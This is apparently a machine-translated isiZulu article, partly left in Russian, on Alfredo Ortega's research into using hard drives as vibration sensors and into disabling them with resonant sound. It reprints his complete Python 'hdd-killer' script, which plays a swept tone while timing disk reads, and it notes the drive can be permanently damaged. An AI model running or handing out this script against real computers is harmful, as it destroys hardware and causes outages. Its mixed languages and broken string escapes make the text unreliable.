Engqungqutheleni yezokuphepha yamakhompiyutha e-Ekoparty 2017 e-Buenos Aires, isigebengu se-Argentina u-Alfredo Ortega ubonise intuthuko ethakazelisa kakhulu - uhlelo lokucofa ngokuyimfihlo kwezakhiwo ngaphandle kokusebenzisa imakrofoni. Umsindo kuqoshwe ngqo ku-hard drive!

I-HDD ngokuyinhloko ithatha imisindo ephansi yezinga eliphezulu, izinyathelo nokunye ukudlidliza. Inkulumo yomuntu ayikaziwa okwamanje, nakuba ososayensi benza ucwaningo ngale ndlela (ukubonwa kwenkulumo ngokudlidliza kwefrikhwensi ephansi, okurekhodwa, isibonelo, ku-gyroscope noma i-HDD).

Umsindo ukudlidliza komoya noma esinye isisetshenziswa. Umuntu uzibona ngesigubhu sendlebe, esidlulisela ukundindizela endlebeni engaphakathi. Umbhobho uklanywe cishe njengendlebe - lapha, futhi, ukudlidliza kuqoshwa ulwelwesi oluncane, olujabulisa umfutho kagesi. I-hard drive, vele, ingaphansi kokudlidliza okuncanyana kakhulu ngenxa yokuguquguquka komoya ozungezile. Lokhu kwaziwa ngisho nasezicini zobuchwepheshe zama-HDD: abakhiqizi bavame ukukhombisa izinga eliphezulu elivumelekile lokudlidliza, futhi i-hard drive ngokwayo ivame ukuzama ukuyibeka esitsheni esivikela ukudlidliza esenziwe ngerabha noma ezinye izinto zokuvikela. Kulokhu kulula ukuphetha ngokuthi imisindo ingaqoshwa kusetshenziswa i-HDD. Osekusele wukuthola ukuthi kanjani.

U-Alfredo Ortega uhlongoze inguqulo eyingqayizivele yokuhlasela kwesiteshi eseceleni, okuwukuhlasela kwesikhathi. Lokhu kuhlasela kusekelwe embonweni wokuthi imisebenzi ehlukene yenziwa kudivayisi ngezikhathi ezihlukene, kuye ngedatha yokufaka enikeziwe. Kulokhu, "idatha yokokufaka" iwukudlidliza kwekhanda lokufunda kanye ne-HDD platter, ehambisana nokudlidliza kwemvelo, okungukuthi, nomsindo. Ngakho-ke, ngokulinganisa isikhathi sokubala nokwenza ukuhlaziya kwezibalo zedatha, ukudlidliza kwekhanda/uqweqwe ngakho-ke ukudlidliza kwe-medium kungalinganiswa. Uma kubambezeleka isikhathi eside ekufundeni idatha, kulapho ukudlidliza kwe-HDD kunamandla futhi, ngenxa yalokho, umsindo uyanda.

Ungakukala kanjani ukudlidliza kwe-hard drive? Kulula kakhulu: vele usebenzise ikholi yesistimu read () — bese urekhoda isikhathi esisithathayo ukuqeda. Izinhlelo zokusebenza zesimanje zikuvumela ukuthi ufunde isikhathi sezingcingo zesistimu ngokunemba kwe-nanosecond.

Isivinini sokufunda ulwazi oluvela emkhakheni sincike endaweni yekhanda noqweqwe, okuhambisana nokudlidliza kwekesi le-HDD. Yilokho kuphela.

Ukuhlaziywa kwezibalo kwenziwa kusetshenziswa insiza ye-Kscope elula. Njengoba besho, yonke into ehlakaniphile ilula.

Isisetshenziswa se-Kscope (stat() syscall)

I-Kscope iyinsiza encane yokubuka ngeso lengqondo umehluko omncane ezikhathini zokwenza ucingo lwesistimu. Umthomboishicilelwe ku-GitHub.

Endaweni yokugcina ehlukile Isikhathi se-HDD kukhona inguqulo yensiza ehlelelwe ukuhlasela kwesikhathi ku-hard drive, okungukuthi, elungiselelwe ukuhlaziya ikholi yesistimu. read ().

Ukuboniswa komsindo oqoshiwe kusetshenziswa i-HDD, ukusebenza kwensiza ye-Kscope

Yiqiniso, inkulumo ayikwazi ukuqondwa ngale ndlela, kodwa i-HDD ifaneleka njengenzwa yokudlidliza. Isibonelo, ungabhalisa uma umuntu ogqoke izicathulo eziqinile noma engenazicathulo engena egumbini elinekhompyutha (mhlawumbe, uma umhlaseli egqoke amateki athambile noma kunokhaphethi owugqinsi phansi, i-HDD ngeke ikwazi ukubhalisa ukudlidliza - lokhu kufanelekile ukubhekwa). Ikhompyutha iyakwazi ukubhalisa ingilazi ephukile noma ezinye izigameko ezinomsindo oqinile. Okusho ukuthi, i-hard drive ingasebenza njengohlobo lwesistimu yokutholwa kokungena okungagunyaziwe.

HDD killer

Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Isibindi Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из ividiyo ngomboniso wombulali we-HDD

Kuyathakazelisa ukuthi "ukuhlaselwa" okunjalo kuma-HDD ngezinye izikhathi kwenzeka ngengozi empilweni yansuku zonke. Isibonelo, ngoSepthemba 2016, isikhungo sedatha ye-ING Bank saphoqeleka ukuthi simise ukusebenza amahora angu-10 ngemva kokuprakthiza umlilo. Inqwaba yama-hard drive ehlulekile ngenxa yomsindo omkhulu wegesi ye-inert ekhishwa kumasilinda ngaphansi kwengcindezi ephezulu. Umsindo wawuphezulu kakhulu (ngaphezu kuka-130 dB), kodwa awukwazi ngisho nokumemeza kuma-hard drive - lokhu kwandisa ukubambezeleka kokufinyelela i-HDD.

Ukuboniswa kokumemeza kwabantu kuma-hard drive esikhungweni sedatha. Isilinganiso sokubambezeleka

Ukukhiqiza umsindo ozwakalayo, u-Alfredo Ortega wabhala umbhalo wePython obizwa ngokuthi i-hdd-killer (umboniso wevidiyo).

I-HDD killer script Mncane impela, ngakho ungawushicilela usuwonke lapha.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Kungani kungafanele umemeze ku-HDD yakho

HDD killer